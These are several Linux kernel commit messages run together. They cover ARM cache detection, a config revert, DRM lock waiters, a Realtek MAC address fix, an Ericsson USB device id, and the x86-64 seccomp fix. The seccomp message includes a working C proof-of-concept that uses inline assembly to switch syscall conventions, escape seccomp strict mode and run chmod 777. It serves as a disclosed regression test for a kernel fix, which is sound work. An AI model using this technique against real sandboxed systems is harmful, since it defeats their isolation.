The cacheid_init() function assumes that if cpu_architecture() returns 7, the caches are VIPT_NONALIASING. The cpu_architecture() function returns the version of the supported MMU features (e.g. TEX remapping) but it doesn't make any assumptions about the cache type.

This reverts commit 155b25bc, which was totally wrong - the "embedded" options still exists (very much so) even on non-embedded platforms. It's just that we don't bother with actually asking about them when we're not embedded, we just take their default values (which is usually 'y' - the options add features that may not be worth it in a constrained environment).

This is done by 1) Wake up lock waiters when we close the master file descriptor. Not when the master structure is removed, since the latter requires the waiters themselves to release the refcount on the master structure -> Deadlock. 2) Send a SIGTERM to all clients waiting for the lock. Normally these clients will get a SIGPIPE when the X server dies, but clients may also spin trying to grab the DRM lock, without getting any sort of notification.

On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with ljmp, and then use the "syscall" instruction to make a 64-bit system call. A 64-bit process make a 32-bit system call with int $0x80. In both these cases under CONFIG_SECCOMP=y, secure_computing() will use the wrong system call number table. The fix is simple: test TS_COMPAT instead of TIF_IA32. Here is an example exploit: /* test case for seccomp circumvention on x86-64 There are two failure modes: compile with -m64 or compile with -m32. The -m64 case is the worst one, because it does "chmod 777 ." (could be any chmod call). The -m32 case demonstrates it was able to do stat(), which can glean information but not harm anything directly. A buggy kernel will let the test do something, print, and exit 1; a fixed kernel will make it exit with SIGKILL before it does anything. */ #define _GNU_SOURCE #include <assert.h> #include <inttypes.h> #include <stdio.h> #include <linux/prctl.h> #include <sys/stat.h> #include <unistd.h> #include <asm/unistd.h> int main (int argc, char **argv) { char buf[100]; static const char dot[] = "."; long ret; unsigned st[24]; if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0) perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?"); #ifdef __x86_64__ assert ((uintptr_t) dot < (1UL << 32)); asm ("int $0x80 # %0 <- %1(%2 %3)" : "=a" (ret) : "0" (15), "b" (dot), "c" (0777)); ret = snprintf (buf, sizeof buf, "result %ld (check mode on .!)\n", ret); #elif defined __i386__ asm (".code32\n" "pushl %%cs\n" "pushl $2f\n" "ljmpl $0x33, $1f\n" ".code64\n" "1: syscall # %0 <- %1(%2 %3)\n" "lretl\n" ".code32\n" "2:" : "=a" (ret) : "0" (4), "D" (dot), "S" (&st)); if (ret == 0) ret = snprintf (buf, sizeof buf, "stat . -> st_uid=%u\n", st[7]); else ret = snprintf (buf, sizeof buf, "result %ld\n", ret); #else # error "not this one" #endif write (1, buf, ret); syscall (__NR_exit, 1); return 2; } Signed-off-by: NRoland McGrath <roland@redhat.com> [ I don't know if anybody actually uses seccomp, but it's enabled in at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ] Signed-off-by: NLinus Torvalds <torvalds@linux-foundation.org>

The Ericsson F3507g wireless broadband module provides a CDC Ethernet compliant interface, but identifies it as a "Mobile Direct Line" CDC subclass, thereby preventing the CDC Ethernet class driver from picking it up. This patch adds the device id to cdc_ether.c as a workaround. Ericsson has provided a "class" driver for this device: http://kerneltrap.org/mailarchive/linux-net/2008/10/28/3832094 But closer inspection of that driver reveals that it adds little more than duplication of code from cdc_ether.c.

This is 2nd attempt to implement the initialization/reading of MAC address from EEPROM. The first used PCI's VPD and there were some problems, some devices are not able to read EEPROM content by VPD. The 2nd one uses direct access to EEPROM through bit-banging interface and my testing results seem to be much better. I tested 5 systems each with different Realtek NICs and I didn't find any problem. AFAIK Francois's NICs also works fine. Original description: This fixes the problem when MAC address is set by ifconfig or by ip link commands and this address is stored in the device after reboot. The power-off is needed to get right MAC address. This is problem when Xen daemon is running because it renames the device name from ethX to pethX and sets its MAC address to FE:FF:FF:FF:FF:FF. After reboot the device is still using FE:FF:FF:FF:FF:FF. Signed-off-by: NIvan Vecera <ivecera@redhat.com> Signed-off-by: NDavid S. Miller <davem@davemloft.net>
